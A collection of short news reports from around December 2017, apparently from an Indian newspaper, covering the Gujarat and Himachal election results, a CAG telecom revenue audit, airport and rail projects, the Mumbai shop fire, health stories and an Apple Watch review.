We were delighted to host so many inspiring business people at the forum and look forward to seeing how they develop over the coming months.
The conceptualised event that took place on 17th December was well attended by the leading travel agents in Oman.

The airline also showcased its initiatives for 2018. During the occasion, Oman Air shared the latest news on recent and upcoming plans as well as their new products, services, destinations, and their new on-board menu and dining experience.

Oman Airs Acting CEO Abdulaziz Al Raisi said: Travel Agents are an integral segment for of Oman Air business and we are proud to be working alongside our partners in the travel industry. Together, we can offer our customers added value and an enhanced travel experience. With the supply of seats exceeding the demand for flights, we know how essential it is to continue to differentiate our offerings and ensure that our guests receive only the very best in Omani hospitality. We congratulate all those agencies that have made, and continue to make an important contribution to the growth of Oman Air, and we look forward to providing further mutual support to them.
The MART tunnel is approximately 1,165 meters long with average overall width of 35m, and will provide airside connectivity between the existing terminals and the MTB, which will allow for the passage of passenger busses, transfer baggage, crew busses, catering trucks, ground services equipment, cargo vehicles and emergency service vehicles.

The completion of the tunnel was marked by a site visit of Abu Dhabi Airports executive team lead by its Acting Chief Executive Officer, Abdul Majeed Al Khoori, who commented: Todays achievement is a key milestone towards delivering an airport hub that can sustain growth for years to come. It is crucial to have efficient connectivity between all of the airports terminals once the MTB is operational, to ensure we deliver a highly functional gateway, utilizing all available resources and infrastructure at its highest operational capabilities.

The MART tunnel was constructed in two phases; phase one being the southern part of the tunnel section beneath the south runway, which was completed in December 2014, and phase two connecting MART phase one with the Airside towards Terminals 1 and 3 including the full MEP installation for the entire project, to deliver a fully operational network of road tunnels.

The MART project is a very complex one being carried out in a live and extremely busy airport environment, alongside a mega project being built. Therefore, I would like to take this opportunity and thank all teams that were involved within Abu Dhabi Airports and its stakeholders, as without the joint efforts and unified goals, this project wouldnt have been achievable.
The operators audited are Tata Teleservices, Telenor, Videocon Telecom, Qaudrant (a Videocon group firm) and Jio.

The New Telecom Policy (NTP-99), which came into effect in April 1999, introduced the revenue sharing model in the telecom sector.

New Delhi: The Comptroller and Auditor General of India (CAG) said on Tuesday that five telecom firms including Tata Teleservices, Telenor and Videocon among others have understated revenues by over Rs 14,800 crore, resulting in a short fall of nearly Rs 2,578 crore to the exchequer.

The CAG said that the government was paid Rs 1,015.17 crore less in licence fee, Rs 511.53 crore in spectrum usage charge, and Rs 1,052.13 crore as interest applicable on delay in payment.

The operators audited are Tata Teleservices, Telenor, Videocon Telecom, Qaudrant (a Videocon group firm) and Jio.

To sum up the verification of records of five PSPs (private sector players) by audit indicated total understatement of AGR (adjusted gross revenue) of Rs 14,813.97 crore for the period up to 2014-15 and consequent short payment of revenue share on the government of India to the tune of Rs 1,526 crore. The interest due on the short paid revenue share, for the period up to March 2016 was Rs 1,052.13 crore, said CAG in a report tabled in Parliament.

The New Telecom Policy (NTP-99), which came into effect in April 1999, introduced the revenue sharing model in the telecom sector.

Under this system, telecom licencees were required to share a percentage of their Adjusted Gross Revenue (AGR) with the government as annual License Fee (LF).

In addition, mobile telephone operators were also required to pay spectrum usage charges (SUC) for the use of radio frequency spectrum allotted to them.

The CAG said the government collection from Tata Teleservices is short of Rs 1,893.6 crore, Telenor - Rs 603.75 crore, Videocon - Rs 48.08 crore, Quadrant - Rs 26.62 crore and Jio - Rs 6.78 crore for licence fee, SUC and applicable interest charges.

The CAG findings are based on the audit of Tata Teleservices and Tata Teleservices (Maharashtra) Ltd from 2010-11 to 2014-15; Quadrant Televentures (2006-07 to 2014-15); Videocon Telecom (2009-10 to 2014-15); Telenor (2009-10 to 2014-15) and Jio Infocomm from 2012-13 to 2014-15.
Gain of 16 seats in Gujarat gives Rahul Gandhi a shot of credibility.

BJP workers celebrate with cut-outs of Prime Minister Narendra Modi and party president Amit Shah at the party headquarters in New Delhi on Monday after the party's victory in the Assembly elections in Gujarat on Himachal Pradesh. (Photo: PTI)

New Delhi: If the BJPs mascot, Prime Minister Narendra Modi, snatched victory from the jaws of defeat, Gujarat poll results came as a major boost for the newly-elected Congress president, Rahul Gandhi. In the much hyped fight between Mr Modi and Mr Gandhi, the latter even in defeat ended on the top by showing he could stand up to the invincible and mighty Mr Modi. The narrow victory margin also served a blow to the BJP and the Prime Ministers main propaganda plank  the Gujarat model.

The huge victory in Himachal Pradesh left a bitter taste in saffron mouth as its chief ministerial candidate, P.K. Dhumal, lost. In Himachal Pradesh, which has 68 Assembly berths, the BJP secured a major win by bagging 44 seats, with the Congress leading on only 21. The tainted Congress chief minister, Virbhadra Singh, won from the Arki Assembly constituency.

In the 182-strong Gujarat Assembly, the BJPs failure to touch triple-digit and scraping through by securing 99 seats (92 is the magic figure) has virtually rattled the saffron pundits.

As per the latest trends, the Congress won 77 seats. With Gujarat and Himachal victories, the BJP now rules in 19 states, (including five states which have NDA governments). This is the BJPs sixth straight win in Gujarat. As for voteshare, the BJP secured nearly 49.1 per cent votes, down from nearly 60 per cent in 2014, but somewhat higher than nearly 48 per cent it polled in the 2012 state Assembly polls.

The Congress voteshare was around 41.4 per cent, up from 33 per cent in the 2014 Lok Sabha elections and also higher than the 39 per cent the party secured in the 2012 Assembly polls

Regardless celebration and chest thumping, the narrow victory margin in Gujarat was a rude awakening for the BJP. Confident of a massive win in the Prime Ministers home turf, party president Amit Shah had set a lofty target of 150 seats in Gujarat. Crawling to breast the tape with a margin of seven seats was also being viewed as a dent to the appeal and charisma of PM Modi. Mr Modi had addressed 41 rallies in Gujarat, his highest in the state so far.

The BJPs seat tally in the legislative Assembly has come down by nearly 14 seats from the last Assembly elections and 26 seats from its 2002 tally. As for the Congress, the party was up by 19 seats. It may be recalled that the Congress failed to win a single seat from Gujarat in the 2014 Lok Sabha elections, with all 26 parliamentary constituencies falling in the BJPs kitty.

Saffron insiders revealed that demonetisation, GST, agrarian issues including MSP of cotton and groundnut impacted the party in Saurashtra, which has a large agricultural belt, and most of the rural areas. To make matters worse, the rebellion of the Patidar community and nearly 50 per cent of dalit votes shifting to the Congress also hit the party hard. Describing the Congress as a faceless party failed to have the desired impact because of Mr Gandhis aggressive campaign, insiders pointed out.

After elections in UP, Punjab, Goa, Himachal Pradesh and Gujarat, the battleground will now shift to Madhya Pradesh, Rajasthan, Chhattisgarh and Karnataka. The outcome of the 2018 polls in these states would be crucial for the final showdown in 2019.

The narrow win in Gujarat could make things difficult for saffronites to secure a comfortable win in the ruling states like Madhya Pradesh and Rajasthan.

In Rajasthan, the Congress is already on the upswing. Also, unlike Gujarat in Karnataka, the Congress has a strong CM candidate in Siddaramaiah.

If Mr Gandhi manages to perform in 2018, a strong Congress can also become the nucleus around which all other non-BJP regional parties can gather. After JD(U) leader Nitish Kumars shift to NDA, non-BJP parties were on the hunt for a credible face. If Mr Gandhi pulls through, the possibility of him emerging as the main Opposition cannot be ruled out.
24-yr-old student from Kashmir and his elder brother were reportedly beaten up and their vehicle damaged by a group of men on Dec 11.

Mehbooba Mufti on Tuesday demanded strict action against those who allegedly assaulted two Kashmiri brothers in Bengaluru for not speaking in Kannada. (Photo: Representational | File)

Jammu: Jammu and Kashmir Chief Minister Mehbooba Mufti on Tuesday demanded strict action against those who allegedly assaulted two Kashmiri brothers in Bengaluru for not speaking in Kannada.

According to media reports, a 24-year-old hotel-management student from Kashmir and his elder brother were reportedly beaten up and their vehicle damaged by a group of men near a bus stop in north Bengaluru's Sanjay Nagar locality on the night of December 11.

"Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused," Mufti posted on Twitter on Tuesday.

Two persons have been arrested based on the CCTV footage installed near the bus stop.
The controversy grew so much that even Chief Election Commissioner AK Joti had to assure that there can be no EVM tampering.

Patidar Anamat Andolan Samiti leader Hardik Patel alleged the tampering of EVMs or Electronic Voting Machines today as the BJP headed towards its fifth straight term in Prime Minister Narendra Modis home state.

New Delhi: With the Assembly poll results in Gujarat and Himachal Pradesh out the murmurs about EVM tampering have been rather muted. After the poll results, it is understood that none of the political parties or leaders have so far approached the Election Commission of India on ths issue of EVM tampering.

However, some questions were raised regarding the functioning of the devices by the prominent leader of the Patidar community, Hardik Patel, in Gujarat on Monday.

Patidar Anamat Andolan Samiti leader Hardik Patel alleged the tampering of EVMs or Electronic Voting Machines today as the BJP headed towards its fifth straight term in Prime Minister Narendra Modis home state.

The 23-year-old Patidar campaign leader said the Congress and all opposition parties should unite against the machines, which, he said, were responsible for false results in at least a dozen seats.

EVMs decide our countrys future...If ATMs can be hacked, why cant EVMs? Hardik Patel said, stressing that India should go back to ballot papers for voting, the way it is done in many other countries.

If we can make changes in a calculator or human body, then EVM is also a machine.

Despite repeated assurances from the Election Commission of India there had been talks of rigging by some opposition parties.

The controversy grew so much that even Chief Election Commissioner AK Joti had to assure that there can be no EVM tampering.

This morning, Joti ruled out any tampering of the machines, saying the paper trail ensured there was no scope for manipulating the process.

VVPATs were there in every polling stations in Gujarat, which enabled voters to see who they voted for, so issues being raised arent right. I assure that EVMS cannot be tampered with, said the top election officer.
The men allegedly beat up a 24-yr old student and his brother from Kashmir for not speaking in Kannada.

Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru, Jammu and Kashmir Chief Minister Mehbooba Mufti said. (Photo: File)

Srinagar/Bengaluru: Jammu and Kashmir Chief Minister Mehbooba Mufti on Tuesday said she was disturbed to learn that two brothers from Kashmir Valley were assaulted in Bengaluru for not speaking in Kannada. She demanded strict action against those involved in the incident.

Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused, she wrote on Twitter.

A group of at least 10 men allegedly beat up a 24-yr old hotel management student and his brother from Kashmir, and damaged their car as they could not speak Kannada.

Based on the footage from a CCTV installed near the site of the incident, Bengaluru police have arrested two men and have launched a manhunt for others.

The brothers were allegedly targeted while they were returning home in their car after having dinner at Bhoopasandra around midnight on Monday. They had stopped their car near a bus stand at NTI Layout in Sanjay Nagar to attend a phone call.

The brothers told the police that four men on two bikes stopped near their car and asked them something in Kannada. They told the men that they were from North India and could not understand anything. The bikers then allegedly told the brothers that they would be allowed to leave the site only if they spoke in Kannada.

The men called some others to the spot and they together allegedly pelted stones at the brothers and their car. The alleged assaulters fled the spot when the duo called the police control room to report the crime.
The observers will speak to the MLAs in Gujarat and Himachal to elect chief ministers of the newly-formed governments.

Jaitley will be accompanied by BJP general secretary Saroj Pandey while Sitharaman will be accompanied by Rural Development Minister Narendra Singh Tomar to Gujarat and Himachal Pradesh respectively. (Photo: PTI/Twitter)

New Delhi: Soon after the election results were declared the victorious Bharatiya Janata Party's (BJP) decision making body swept into action for the next step of selecting the chief minister to represent the state.

The party's decision making body decided to send two teams led by Finance Minister Arun Jaitley to Gandhinagar and Defence Minister Nirmala Sitharaman to Shimla as observers.

The Central Parliamentary board of the BJP met in Delhi after Prime Minister Narendra Modi's victory speech where he called the support for the party an indication that the country was ready for "reform agenda as every citizen wants India transformed".

After the meeting, Health Minister JP Nadda said it had been decided that Arun Jaitley and the party general secretary Saroj Pandey will be the party's observers for the selection of the chief minister in Gujarat while Nirmala Sitharaman and Rural Development Minister Narendra Singh Tomar will be party's observers for Himachal Pradesh.

"They will speak to the MLAs to elect new leaders of the party," Nadda added.

During the party's campaign in Gujarat, BJP Chief Amit Shah had said that incumbent chief minister Vijay Rupani is the party's face in the state Assembly elections.

Earlier during a press conference when Shah was asked who will be BJP's choice for the top post in Himachal Pradesh if its chief ministerial candidate Prem Kumar Dhumal loses the election, Shah said the party's parliamentary board will take a call on this.

Dhumal, who was named as the BJP's presumptive chief minister at the last minute in a deviation from the party's strategy in recent state elections, however has lost.

BJP now has as a free hand to name anyone else for the chief ministerial post.

The BJP has managed to retain Gujarat, Prime Minister Narendra Modi and BJP president Amit Shahs home turf for the sixth consecutive time and snatched Himachal Pradesh from the Congress with nearly two-thirds majority in the recently concluded assembly elections.

With inputs from PTI.
If Cong cant differentiate in victory and defeat, then God help them: BJP

New Delhi: A day after his party mounted an impressive challenge to the BJP in Prime Minister Narendra Modis home state of Gujarat, a charged Rahul Gandhi questioned the credibility of Mr Modi.

Describing Gujarat results as a zabardast jhatka (a massive jolt) to the BJP, the Congress president claimed that it was an indication that the country was not listening to Mr Modi anymore.

It was thought that the Congress will not be able to fight the BJP in Gujarat... You saw the results and it has dealt a zabardast jhatka (a massive jolt) to the BJP in Gujarat, he told reporters.

A big question has been raised on Modijis credibility. Frankly, Modiji has a credibility problem and he will find it very difficult. Because what he is saying, his forces and his organisation are repeating that. But the country is not listening to that. This, the Gujarat election has shown. In the coming times, you will see this clearly, he added.

Hitting back, the BJP targeted Mr Gandhi saying that he was enjoying defeat as victory.

It seems Rahul Gandhi is under an illusion and enjoying defeat as victory. This shows his dynastic arrogance and is an insult to the peoples mandate, Union minister and senior BJP leader Prakash Javadekar said.

The BJP won 99 seats in the 182-member Assembly, down from 115 it won in 2012, and far lower than the 150-plus seats it had hoped for. It is also the first time its tally slipped below the 100 mark since the BJP formed its maiden government on its own in 1995.

Targeting the Gujarat Model, Mr Gandhi said that people in Gujarat do not accept it any more as it is only good propaganda and able marketing but hollow from within.

Launching a scathing attack on the Prime Minister, Mr Gandhi accused him of evading corruption issues. The country wants to know that you talked non-stop of corruption. Jay Shah, son of Amit Shah, turned Rs 50,000 into Rs 80 crore in three months, there has been a scam in Rafale deal, why dont you talk of this? This is the credibility issue, Mr Gandhi said.

The Congress feels that with its performance in Gujarat it has bounced back and the effects of its impressive performance will be felt in Chattisgarh, Rajasthan and Madhya Pradesh, BJP-ruled states that go to polls next year.

Hitting back at Mr Gandhi, the BJP said if the Congress and its president cannot differentiate between victory and defeat, then God help them, and that if poll victories are considered jolts by the Opposition party, it is happy to receive these jolts.

Mr Javadekar said the Congress was enjoying defeat as victory under the illusion that its performance in Gujarat polls had come as a big jolt to the ruling party when actually the poll outcome had actually jolted the Congress.

The Union minister also alleged that the Congress tried to adopt divisive politics in Gujarat but people put their faith in Mr Modi and in his development agenda.
'Gujarat has given message to BJP and Modiji that the anger within you will not work, love will defeat you,' says Rahul.

Rahul Gandhi says, 'There is a big question on Modijis credibility. He has a credibility problem.' (Photo: Twitter | ANI)

New Delhi: Congress president Rahul Gandhi on Tuesday said that the performance of his party in Gujarat was "very good".

The Congress president said that his party could have won but there were some deficiencies.

"Gujarat has given message to BJP and Modiji that the anger within you will not work, love will defeat you," Rahul said.

Rahul Gandhi said, Normally, a political leader visits -- like in Gujarat -- and thinks he will give the place his message. In 3 months, the people of Gujarat taught me a lot. The main thing was: however much anger, money and force you have, it can be fought with love.

Three-four months back, when we went to Gujarat, it was said the Congress party couldnt fight the BJP. We did solid work for three-four months. Not just me, the AICC team and others. This is a massive jolt to the BJP, Rahul said.

BJP's tally was 16 less than 115 in the previous election. It is also for the first time it has slipped below the 100 mark since the BJP formed its maiden government on its own in 1995. It was in a coalition government with the Janata Dal in 1990 but the two parted ways soon.

The Congress, which had won 61 seats in the previous elections, made handsome gains, adding 16 seats to its tally.

The Gujarat Assembly has 182 seats.

BJP held a strong campaign this time in which Prime Minister Narendra Modi himself held 37 rallies in the state but the party seat share had fallen short of 100.

Rahul Gandhi said, I found out people dont believe in Modi jis Gujarat model. Its hollow.

What you saw in Gujarat elections... this is not my work. Gujarat has given Modi ji and BJP a message -- the anger you have will not come in handy, the Congress president said.

Taking a jibe at Prime Minister Narendra Modi and his campaigns in Gujarat Rahul said, Modi said this was an election fought on development; this was a stamp on the GST. But in his campaign, there was no talk of GST and demonetisation.

There is a big question on Modijis credibility. He has a credibility problem, the newly elevated Congress president said adding that what the Prime Minister is saying and what BJP is repeating is not being listened to by the people of the country.
The BJP could not retain even a single of the four zila parishads.

New Delhi: The Congress got another shot in the arm by improving its tally considerably in the local body elections of Rajasthan. On Tuesday, Congress won all the four zila parishad seats and also 16 of the 27 panchayat samiti seats and six nagar palika seats, for which bypolls were held. The ruling BJP had to remain content with 10 panchayat samiti seats although it won seven nagar palika wards. The BJP could not retain even a single of the four zila parishads. The bypolls for 27 panchayat samitis of 19 districts, 14 nagar palikas of 12 districts and four zila parishads were held on December 17.

Speaking to this newspaper the Rajasthan Congress chief Mr. Sachin Pilot said, The countdown has begun for the BJP government to go. These elections were just a precursor to the Assembly elections that will be held next year. The BJP government is anti-farmer and anti-people. Incidentally, the state Congress headquarters in Jaipur has put up an electronic signboard that has a countdown timer showing the number of days, hours and minutes left for the incumbent government. There are two parliamentary byelections also coming up in Rajasthan in Ajmer and Alwar where sitting MPs have passed away. The Congress is hopeful in snatching these two seats also from the BJP. Rajasthan is one of the states on which the Congress is banking heavily. It is scheduled to go to polls along with Chattisgarh and Madhya Pradesh in November next year. The party feels that anti-incumbency should help them.
Here what researchers have found.

New Delhi: The current buzz word in healthcare is "personalised medicine". Personalised medicine essentially works on the assumption that a disease can be caused by multiple factors, wherein any one factor is neither necessary nor sufficient to cause the disease. It recognizes gene x environment, gene x gene and other more complex risk combinations and interactions, making genetics a vital component of personalised medicine.

The application of personalised medicine is needed when multiple etiologies cause the same syndrome, when the same syndrome has multiple outcomes and when response to therapies is unpredictable based on the disease signs and symptoms alone.

Interpretation of this data requires a good understanding of the intricate relationship between genetics, environment and physiology. With the rapid accumulation of new information and its interpretation and application in clinical practice, the understanding of its psychological consequences is also vital in this shift.

Genetic counselors are healthcare professionals who have intense training and experience in the psychological implications of genetic testing. Genetic counseling is a communication process. The primary goal of this process is to help individuals, couples and families understand and adapt to medical, psychological, familial, and reproductive implications of the genetic contribution of health conditions.

The process of genetic counseling involves Interpretation; family and medical history assessment, patient education, and support by non-directive decision facilitation. Genetic Counselors are trained to address the physical, mental, social, and emotional impacts of genetic conditions, acting as advocated for their patients. Calculating recurrence risks, determining appropriate testing and identifying risk of family members are also skills possessed by a genetic counselor.

With the rapid advancements in the scope and cost of genetic testing, there is a demand for genetic counselors. They play a critical role in assisting physicians and patients in the management of chronic complex diseases like Pancreatitis.

Alcohol is an established environmental risk factor for pancreatitis, however, with advancements in genetic research we've learned that the gene CLDN2 plays a key role in increasing the risk for alcohol-related pancreatitis. Other complex diseases like inflammatory bowel disease, liver cirrhosis, asthma and chronic renal diseases are other complex diseases where genetic studies assist in providing guidance and better management.

In addition to standard patient education by genetic counselors about genes, chromosomes and inheritance, Counselors also factor in environmental risks. Like in the case of Pancreatitis, smoking and alcohol consumption provides valuable information for treatment options and risks for complications such as diabetes mellitus. Such information results in increased surveillance, treatment, and prevention in at-risk family members.

Genetic counselors also play a key role in hereditary diseases like Cystic Fibrosis, Cancer etc. In the case of Hereditary Breast and Ovarian Cancer or Lynch Syndrome or other hereditary genetic disorder genetic counselors acquire a family and personal history for a holistic view of the family and pattern of inheritance.

Specific criteria's have been established to inform genetic testing for these conditions and genetic counselors are trained to determine the appropriate testing approach. Genetic Counselors discuss the test and its implications, review genes/chromosomes and facilitate the testing process.

Appropriate testing may involve single gene testing, a panel of genes or site-specific testing when a familial mutation has already been identifies. Post testing the genetic counselor reviews the results with the treating physician and patient and coordinate appropriate care.

In addition to traditional genetic counseling, Genetic counselors are also being used in "non- traditional" roles. Laboratory genetic counselors facilitate communication between health care professionals and the diagnostics laboratory to ensure that genetic testing is used wisely and correctly. With the evolving role, today a genetic counseling session includes natural history of a disease, lifestyle changes, treatment/preventive options rather than just inheritance patterns, risk for family members, and identification of medicine of appropriate testing.

With continuous development in genetic research and the inclusion of personalised medicine in patient care it is essential that the positioning of a genetic counselors in the delivery system be optimised in assisting a physician's decision to ethically improve care and quality of life for patients with diseases.
It turns out it is a part of his undeveloped twin, penis is surgically removed.

The unnamed baby is already home and is as healthy as any other newborn. (Representational image/ Pixabay)

In a shocking case, a baby boy was born with an extra penis on his back. He had to had the organ removed.

According to his doctors the additional penis is believed to be all that was left of a parasitic twin who failed to develop.

The unnamed baby is already home and is as healthy as any other newborn.

The doctors and the childs parents were unaware of the growth until he was born.

A doctor treating the child said,

His parents and doctors were unaware he had the growth until he was born.

The penis on the back is a parasite.

The operation was carried out at the Scientific Research Institute of Pediatrics in Baku, Azerbaijani.

Head of the institute's neonatology department Gunduz Agayev said: 'The baby has a normal sexual organ where it is supposed to be.

Speaking of the undeveloped parasitic twin, Agayev added: 'Practically all there was left from him was a penis that got attached to the brother's back inside the womb.'

The newborn's back was not badly affected by the surgery, although he will be left with a small scar. He is now recovering well at home.

The babys name and where he lives was not revealed to protect his privacy as he grows up.
As per the plan, a trial run of anti-smog gun will be held at east Delhi's Anand Vihar ISBT on December 20.

Deputy Chief Minister Manish Sisodia and Environment Minister Imran Hussain reviewed the trial of the fog cannon to control dust particulate matter at the Delhi Secretariat on Monday. (Photo: @AAPDelhi | Twitter)

New Delhi: To deal with haze during winters, the Delhi government is mulling over using anti-smog guns to bring down pollution level in the national capital, officials said.

As per the plan, a trial run of anti-smog gun will be held at east Delhi's Anand Vihar ISBT on December 20.

Environment Secretary Anil Kumar Singh on Monday apprised Lt Governor Anil Baijal of the trial run of anti-smog gun in a meeting to review the detailed action plan of agencies and stakeholders on measures to combat air pollution.

In the meeting, the Lt Governor directed authorities to ensure management of municipal solid waste completely in a time frame of 16 months. "The plan should cover a time-frame not exceeding 16 months and also indicate the exact requirement of funds. The chief secretary has been asked to coordinate and finalise it," the L-G office said in a statement.

Meanwhile, Deputy Chief Minister Manish Sisodia and Environment Minister Imran Hussain reviewed the trial of the fog cannon to control dust particulate matter at the Delhi Secretariat on Monday.

Baijal also directed all three corporations to ensure that no methane fires occur at the three landfill sites and for this, help should be sought from experts of the Science & Technology Ministry, the statement read.

The L-G also asked all three municipal commissioners to procure the requisite mechanical sweepers, litter pickers, water sprinklers within a stipulated time.

In the meeting, the Lt Governor was informed that Badarpur Thermal Power Station will be permanently closed by July 2018.

"It was also informed that at present over 800 acres ash pond is in O Zone and NHAI is lifting 600 MT ash daily. The L-G stressed for optimal future utilisation of this huge land parcel. Apart from this, measures to provision full gas for Bawana plant were also discussed," the statement stated.
In October, incidentally, Chandivali residents in L ward had staged protests against air pollution in the area.

Mumbai: The Brihanmumbai Municipal Corporation (BMC) has pleaded ignorance about the illegalities in the Sakinaka farsan shop where 12 workers were charred to death in a fire on Monday, but it has emerged that the Maharashtra Pollution Control Board (MPCB) had served it a notice to crack down on air-polluting units at Khairani Road, where the shop is located.

In the notice, which was served a month ago, MPCB directed the civic body to cut the water and electricity connections of such units. The civic body, however, denies receiving the notice.

When asked, Ajitkumar Ambi, the assistant municipal commissioner of the 'L' ward (which includes Sakinaka), claimed that the BMC did not get any notice from MPCB pertaining to air pollution, but it did receive a notice asking it to crack down on factories polluting the Mithi river.

"We got a notice from the MPCB to take action against the factory outlets along the Mithi. Around 575 such locations were marked and action was taken against them," Mr Ambi said. He added, "The air pollution notice might have been sent to the environment department, I did not get it in my ward office."

The civic body has also said that it was unaware about the illegal activities, including the construction of the mezzanine floor on which the ill-fated workers were sleeping, since the owner did not seek any licence and no complaint was registered against him.

On the other hand, an MPCB regional officer, who requested anonymity, said, "We had sent a notice to civic body alerting it about the air polluting industrial units in the 'L' ward, which also includes Khairani Road." He said, "After this, the MPCB had initiated a few measures to tackle the problem." In October, incidentally, Chandivali residents in L ward had staged protests against air pollution in the area.

Meanwhile, the labour commission has written a letter to the civic chief, demanding compensation for the deceased and the speedy clearance of the same. The BMC is likely to book Bhanushali over alleged irregularities as well soon.
Minister cites financial viability even as state pushes for costly bullet train.

Mumbai: Union railway minister Piyush Goyal has scrapped the elevated rail corridor project between Churchgate and Virar citing financial viabilities. Interestingly, while the estimated cost of the project is Rs 20,000 crore, the government is implementing the bullet train project at a cost of Rs 1.10 lakh crore. Activists and opposition parties are questioning the governments decision to scrap the project, which would have made commuting easier for lakhs of Mumbaikars, even while it is desperately pushing through the bullet train project, which will cost more but serve fewer people.

The elevated corridor projects between CST-Panvel and Churchgate-to-Virar have been under consideration for a decade so as to reduce pressure on Central and Western Railways. But after an initial survey, the proposal of the western corridor was put off due to it being financially unviable. Both the projects will cost Rs 35,000 crore. While metro lines of stage 2 and 7 are going along, railway authorities fear it may create a dent in footfall of passengers.

These projects had been announced by the then railway minister Suresh Prabhu, union minister Nitin Gadkari and CM Devendra Fadnavis in the budget speeches, sessions of legislatures and during the BMC elections. But now one of these corridors may be put on the backburner, sources told The Asian Age.

The state government is a 50 per cent stake holder in these projects with Mumbai Rail Vikas Corporation (MRVC). So how can the railway take this decision unilaterally, asked Congress spokesperson Sachin Sawant.

Why was the financial viability criteria not applied for the bullet train project, which will be benefiting a few thousands passengers mostly from Gujarat. On the other hand, lakhs of Mumbaikars would be relieved by the elevated corridor project,

Shiv Sena MP Sanjay Raut told this paper. Why does railways want to spend lakh crore rupees for Gujarat and not few thousand crores for lakh of Mumbaikars? Mr Raut asked.
Joy describes Parkinsons smell to be very thick and musky.

Joy describes Parkinsons smell to be very thick and musky. (Photo: Pixabay)

A retired nurse who can smell out Parkinson's is using her impressive abilities to help scientists create the first diagnostic test.

Parkinsons is a degenerative neurological condition, for which there currently is no cure.

Joy Milne from Perth lost her husband Les, a consultant anaesthetist, to the disease in 2015.

However, over a decade before he was diagnosed she began to smell a strange musky odour around him and that's when she got to know of her gift.

Although Joy initially didn't connect the smell to the disease, but when she attended a Parkinsons meeting with her husband she realised that her husband and others in the room smelt the same.

Joy told the Scotsman, "I smelled it ten to 12 years before Les was diagnosed. As the Parkinsons got worse, the smell got worse.

"It became just part of him, but I with my sensitive sense of smell, I could smell it all the time and it became quite uncomfortable really, but I had the sense not to nag too much."

Joy describes Parkinsons smell to be very thick and musky.

She added, "Im in a tiny, tiny branch of the population, somewhere between a dog and a human."

During a question and answer session at a Parkinsons UK event, Joy claimed to be able to smell the disease, which caught the attention of researcher Dr Tilo Kunath at the University of Edinburgh and he investigated further.

Tilos initial findings regarding Joy's abilities later led to Parkinsons UK funding further research into whether the disease had its own aroma.

The condition causes tremors, slowness of movement and rigidity.

Dr Arthur Roach, director of research at Parkinsons UK, said in the same report, "Its very early days in the research, but if its proved there is a unique odour associated with Parkinsons, particularly early on in the condition, it could have a huge impact."

Currently no drug has the potential to slow or stop Parkinson's but if this test is successful it will be possible to test such drugs that could prevent the disease.
Now, Nawaz is going to wait it out for the March 2018 Senate elections he has been eyeing all along.

The rumour mill seems in overdrive in predicting how the election process may be derailed. Speculation is rife that something will give. Some argue that we need an artificial stabilising mechanism for a while. Others talk of a technocratic setup. And of course, the dreaded coup never seems to disappear from the conversation.

Even short of these extra-constitutional options, there is uncertainty around the election timing. The National Assembly speaker thinks the assemblies wont complete their tenure. Others point to possible delays because of the improbability of the issue of constituency delimitations being resolved in time.

All this defies political logic as far as the 2018 ballot is concerned.

Eliminating the coup option doesnt require much analysis. There isnt an appetite among the powers that be. This Army chief certainly isnt the type but also, the Army is aware that it has no magical solutions to offer for the countrys problems. Its not going to take direct fire when it can avoid it by remaining behind the scenes.

Next, technocratic government. When I ask what this means in practice, many point to the initial post-coup cabinets of military dictators as models, e.g. Musharrafs in the 1999-2001 period. But how do you get there without a coup?

Some bring up the Bangladesh model, without recognising its failure. Yes, the 2006-07 state of emergency and prolonged rule of the caretaker setup in Bangladesh was blessed by the military. But this came about because of significant street violence, a boycott of the poll by a major party, and with judicial support.

In Pakistans case, neither the PML(N) nor the PTI are about to opt out of the next elections as that would hand over power to the other on a platter.

The judiciary isnt going to bite either. The current Supreme Court seems to be consciously acting as a self-anointed voice of the average citizen. Such judicial activism is not alien to the developing world; its an approach in which the institution overreaches and takes it upon itself to signal intolerance for governance failures and its perceived causes. But this isnt a judiciary acting on GHQ orders. Right from Chief Justice Iftikhar Chaudhrys time, the judiciary has been seen as trying to cement its institutional position perhaps as a key power broker that cant be placated at will. Nothing would harm this effort more than bowing to the khakis or politicos.

As for the elections timing, there isnt a realistic path to altering the 2018 schedule.

The PML(N) could potentially have benefited from an early ballot in two scenarios. First, right after his ouster, Mr Nawaz Sharif could have garnered a sympathy vote and gone up against a PTI unprepared for an election. Second, had Imran Khan been disqualified by the court last week, the PTI would have suddenly been at its most vulnerable. The PML(N) could have conceivably considered cashing on this.

Now, Nawaz is going to wait it out for the March 2018 Senate elections he has been eyeing all along. And while he could call elections after securing the Senate, it wont make any qualitative difference in the timing of the elections, preponing them only by 45 days or so, but it would give the caretaker setup 90 instead of 60 days to hold polls. This makes little sense for the PML(N): the lesser the time available to the caretaker to switch around a pro-PML(N) bureaucracy and make other changes to offer the fairest election possible, the better for Nawaz & co.

The opposition, on its part, neither has the numbers in the assemblies to force early polls, nor will it benefit from them. For the PTI, its biggest bump-up in terms of popularity is likely to come from the accountability courts convicting Nawaz. Thatll be the signal to the Punjabi voters, they hope, that Nawaz (and the PML(N)) is done and that they must look elsewhere to keep the provinces tradition of voting for the perceived winner.

Also, if you are in the camp that wants the PML(N) to survive but with Mr Shahbaz Sharif at the helm, as some argue the establishment does, the only chance of Nawaz ceding ground to his younger brother is also going to be in the wake of his convictions.

Finally, the census and the question of a delayed ballot. The delimitation bill on amending constituencies should lay this concern to rest. While technicalities of the process can still create road blocks, going the delay route assumes the major political forces that would have to force this agenda benefit from a prolonged caretaker rule. One cant see how they gain by backing anything that holds the normal electoral process in abeyance even for a day.

All eyes ought to be on next summer. It is time to begin asking the political parties tough questions about their priorities.

By the arrangement with Dawn
Apples third-generation Watch just got better, refined.

Rating:

Apple has been developing electronic masterpieces for a decade and devices right from the iPhone to the iMac have been around as proof. While most are standalone devices that perform tasks designed for a particular purpose, the Watch is something that is more of an add-on, an extension to the iPhone. The Watch is the ideal buddy to an iPhone, and as a user, you would agree totally. Now that the Apple Watch is in its third-generation, it has been refined for additional power and more features. Though the new Watch is identical to the second generation in terms of design and size, it does feature some more beneficial stuff, which is worth the money it asks.

The Apple Watch retains the same design language as the prior two generations, but the interiors are completely different  more upgraded. Apple has addressed a lot of areas on this generation Watch and the new wrist smartie will definitely impress the buyer.

